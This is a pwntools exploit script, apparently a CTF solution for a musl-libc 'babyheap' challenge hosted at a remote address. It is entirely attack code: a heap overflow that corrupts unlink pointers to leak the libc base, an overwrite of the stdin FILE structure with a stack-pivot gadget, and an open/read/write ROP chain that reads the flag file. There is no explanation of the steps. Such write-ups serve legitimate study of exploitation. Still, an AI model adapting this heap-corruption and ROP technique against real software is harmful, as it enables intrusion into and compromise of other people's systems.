1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191
| from pwn import * context.log_level = "debug" context.arch = "amd64"
def cmd(idx): r.sendlineafter("Command: ",str(idx))
def add(size,content): cmd(1) r.sendlineafter("Size: ",str(size)) r.sendlineafter("Content: ",content)
def edit(idx,size,content): cmd(2) r.sendlineafter("Index: ",str(idx)) r.sendlineafter("Size: ",str(size)) r.sendlineafter("Content: ",content)
def free(idx): cmd(3) r.sendlineafter("Index: ",str(idx))
def show(idx): cmd(4) r.sendlineafter("Index: ",str(idx))
def dbg(cmd = ""): gdb.attach(r,cmd)
DEBUG = 0
if DEBUG: r = process("./babyheap") else: r = remote("111.186.59.11",11124)
libc = ELF("/usr/lib/x86_64-linux-musl/libc.so")
add(0x20,"0") add(0x20,"1") add(0x20,"2") add(0x20,"3") add(0x20,"4")
size = 0x00000000ffffffff
payload = "" payload += p64(0) * 6 payload += p64(0x41) payload += p64(0x81)
edit(0,size,payload)
payload = "" payload += p64(0) * 6 payload += p64(0x81) payload += p64(0x41)
edit(2,size,payload)
free(1)
add(0x20,"1")
show(2)
r.recvuntil("Chunk[2]: ") libc_base = u64(r.recv(6).ljust(8,"\x00")) - 0xb0a58 r.recvuntil("5. Exit") success("libc_base : " + hex(libc_base))
bins = libc_base + 0xb0dc0 system_addr = libc_base + libc.sym["system"] stdin_addr = libc_base + 0xb0180 environ_addr = libc_base + libc.sym["environ"] success("bins : " + hex(bins)) success("stdin_addr : " + hex(stdin_addr)) success("environ_addr : " + hex(environ_addr)) success("system_addr : " + hex(system_addr))
fake_next = bins - 0x10 fake_prev = stdin_addr - 0x10 - 0x30
payload = "" payload += p64(fake_next) payload += p64(fake_prev)
edit(2,size,payload)
add(0x20,"5")
fake_next = stdin_addr - 0x10 - 0x30 fake_prev = stdin_addr - 0x10 - 0x30
payload = "" payload += p64(fake_next) payload += p64(fake_prev)
edit(5,0x10,payload)
add(0x20,"Ver") add(0x40,"Ver")
gadget = libc_base + 0x78d0d
''' #payload = "/bin/sh\x00" # stdin->flags payload = p64(rdi) # stdin->flags payload += 'X' * 0x20 payload += p64(0xdeadbeef) # stdin->wpos payload += 'X' * 8 payload += p64(0xbeefdead) # stdin->wbase payload += 'X' * 8 payload += p64(gadget) # stdin->write '''
rbx = 0
rbp = 0 r12 = 0 r13 = 0 r14 = 0
r15 = 0xdeadbeef rsp = stdin_addr - 0x30 rdx = libc_base + 0x15292
p_rsp_r = libc_base + 0x15e07 p_rdi_r = libc_base + 0x15291 p_rsi_r = libc_base + 0x1d829 p_rdx_r = libc_base + 0x2cdda p_rax_r = libc_base + 0x16a16 syscall = libc_base + 0x23720
flag_str_addr = stdin_addr + 8 * 0x10 - 0x30 flag_addr = libc_base + 0xb0180 + 0x250 open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write']
orw = flat([ p_rdi_r, flag_str_addr, p_rsi_r, 0, open_addr, p_rdi_r, 3, p_rsi_r, flag_addr, p_rdx_r, 0x30, read_addr, p_rdi_r, 1, p_rsi_r, flag_addr, p_rdx_r, 0x30, write_addr ])
addr = libc_base + 0xb1100
read_data = flat([ p_rdi_r, 0, p_rsi_r, addr, p_rdx_r, 0x100, read_addr ])
payload = "" payload += read_data
payload += p64(p_rsp_r) payload += p64(addr) payload += p64(r13) payload += p64(r14) payload += p64(r15) payload += p64(rsp) payload += p64(rdx) payload += 'X' * 8 payload += p64(gadget) payload += "./flag\x00"
edit(7,size,payload)
cmd(1) r.sendlineafter("Size: ",str(2**43-1)) sleep(0.5) r.sendline(orw)
r.interactive()
|